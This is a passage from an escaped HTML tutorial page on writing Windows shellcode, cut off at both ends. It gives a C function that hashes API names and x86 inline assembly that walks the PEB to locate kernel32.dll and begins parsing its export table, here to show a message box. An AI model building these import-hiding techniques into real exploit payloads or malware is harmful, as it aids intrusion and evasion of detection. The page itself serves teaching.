&lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;hr /&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Shellcode that loads APIs dynamically&lt;a href=&quot;#shellcode-that-loads-apis-dynamically&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;section&gt;&lt;h4&gt;Working it out&lt;a href=&quot;#working-it-out&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;API functions we need
&lt;ul&gt;
&lt;li&gt;MessageBoxA (User32.dll)&lt;/li&gt;
&lt;li&gt;ExitProcess (Kernel32.dll)&lt;/li&gt;
&lt;li&gt;LoadLibraryA (Kernel32.dll)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;The puzzle is how to find the API addresses while keeping the shellcode as short as possible (with no function names in it)&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Hashing function names&lt;a href=&quot;#hashing-function-names&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;section&gt;&lt;h5&gt;The idea&lt;a href=&quot;#the-idea&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h5&gt;&lt;ul&gt;
&lt;li&gt;Bring in a small hash function&lt;/li&gt;
&lt;li&gt;Its result is called the digest&lt;/li&gt;
&lt;li&gt;Hash every function name we come across while searching&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h5&gt;The algorithm (ExpStd0302)&lt;a href=&quot;#the-algorithm-expstd0302&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h5&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#include&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#include&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;windows.h&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;DWORD &lt;/span&gt;&lt;span&gt;GetHash&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;char&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;&lt;span&gt;fun_name&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;DWORD digest &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;while&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;fun_name)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;digest &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ((digest &lt;/span&gt;&lt;span&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;25&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;span&gt; (digest &lt;/span&gt;&lt;span&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;7&lt;/span&gt;&lt;span&gt;));&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;digest &lt;/span&gt;&lt;span&gt;+=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;fun_name;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;fun_name&lt;/span&gt;&lt;span&gt;++&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; digest;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;void&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;main&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;DWORD hash;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;hash &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;GetHash&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;MessageBoxA&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;printf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;Hash is &lt;/span&gt;&lt;span&gt;%x&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;, hash);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;It gives &lt;code&gt;0x1e380a6a&lt;/code&gt; for MessageBoxA, &lt;code&gt;0x4fd18963&lt;/code&gt; for ExitProcess and &lt;code&gt;0x0c917432&lt;/code&gt; for LoadLibraryA, the three values pushed below.&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;The final shellcode (ExpStd0303)&lt;a href=&quot;#the-final-shellcode-expstd0303&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; main()&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;_asm{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;;flag&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;nop&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;nop&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;nop&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;nop&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;nop&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;cld&lt;/span&gt;&lt;span&gt;                        &lt;/span&gt;&lt;span&gt;;clear flag DF&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;;store hash&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;push&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0x1e380a6a&lt;/span&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;;hash of MessageBoxA&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;push&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0x4fd18963&lt;/span&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;;hash of ExitProcess&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;push&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0x0c917432&lt;/span&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;;hash of LoadLibraryA&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;mov&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;esi&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;esp&lt;/span&gt;&lt;span&gt;               &lt;/span&gt;&lt;span&gt;;esi = addr of first func hash&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;lea&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;edi&lt;/span&gt;&lt;span&gt;, [&lt;/span&gt;&lt;span&gt;esi&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;0xc&lt;/span&gt;&lt;span&gt;]         &lt;/span&gt;&lt;span&gt;;edi = addr to start writing func&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;;make some stack space&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;xor&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ebx&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;ebx&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;mov&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;bh&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;0x04&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;sub&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;esp&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;ebx&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;;push a pointer to &quot;user32&quot; onto stack&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;mov&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;bx&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;0x3233&lt;/span&gt;&lt;span&gt;             &lt;/span&gt;&lt;span&gt;;rest of ebx is null&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;push&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ebx&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;push&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0x72657375&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;push&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;esp&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;xor&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;edx&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;edx&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;;find base addr of kernel32.dll&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;mov&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ebx&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;fs&lt;/span&gt;&lt;span&gt;:[&lt;/span&gt;&lt;span&gt;edx&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;0x30&lt;/span&gt;&lt;span&gt;]   &lt;/span&gt;&lt;span&gt;;ebx = PEB address&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;mov&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ecx&lt;/span&gt;&lt;span&gt;, [&lt;/span&gt;&lt;span&gt;ebx&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;0x0c&lt;/span&gt;&lt;span&gt;]      &lt;/span&gt;&lt;span&gt;;ecx = loader data pointer&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;35&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;mov&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ecx&lt;/span&gt;&lt;span&gt;, [&lt;/span&gt;&lt;span&gt;ecx&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;0x1c&lt;/span&gt;&lt;span&gt;]      &lt;/span&gt;&lt;span&gt;;ecx = first entry in Initialization order list&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;36&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;mov&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ecx&lt;/span&gt;&lt;span&gt;, [&lt;/span&gt;&lt;span&gt;ecx&lt;/span&gt;&lt;span&gt;]             &lt;/span&gt;&lt;span&gt;;ecx = second entry&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;37&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;mov&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ebp&lt;/span&gt;&lt;span&gt;, [&lt;/span&gt;&lt;span&gt;ecx&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;0x08&lt;/span&gt;&lt;span&gt;]      &lt;/span&gt;&lt;span&gt;;ebp = base address of kernel32.dll&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;38&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;39&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;find_lib_functions:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;40&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;lodsd&lt;/span&gt;&lt;span&gt;                      &lt;/span&gt;&lt;span&gt;;load next hash into eax and increment esi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;41&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;cmp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;eax&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;0x1e380a6a&lt;/span&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;;hash of MessageBoxA - trigger and LoadLibrary(&quot;user32&quot;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;42&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;jne&lt;/span&gt;&lt;span&gt; find_functions&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;43&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;xchg&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;eax&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;ebp&lt;/span&gt;&lt;span&gt;              &lt;/span&gt;&lt;span&gt;;save current hash&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;44&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;call&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;edi&lt;/span&gt;&lt;span&gt; - &lt;/span&gt;&lt;span&gt;0x8&lt;/span&gt;&lt;span&gt;]           &lt;/span&gt;&lt;span&gt;;LoadLibraryA&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;45&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;xchg&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;eax&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;ebp&lt;/span&gt;&lt;span&gt;              &lt;/span&gt;&lt;span&gt;;restore current hash and update ebp with base address of user32.dll&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;46&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;47&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;find_functions:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;48&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pushad&lt;/span&gt;&lt;span&gt;                     &lt;/span&gt;&lt;span&gt;;preserve registers&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;49&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;mov&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;eax&lt;/span&gt;&lt;span&gt;, [&lt;/span&gt;&lt;span&gt;ebp&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;0x3c&lt;/span&gt;&lt;span&gt;]      &lt;/span&gt;&lt;span&gt;;eax = start of PEheader&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;50&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;mov&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ecx&lt;/span&gt;&lt;span&gt;, [&lt;/span&gt;&lt;span&gt;ebp&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;eax&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;0x78&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;;ecx = relative offset of export table&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;51&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;add&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ecx&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;ebp&lt;/span&gt;&lt;span&gt;               &lt;/span&gt;&lt;span&gt;;ecx = absolute addr of export 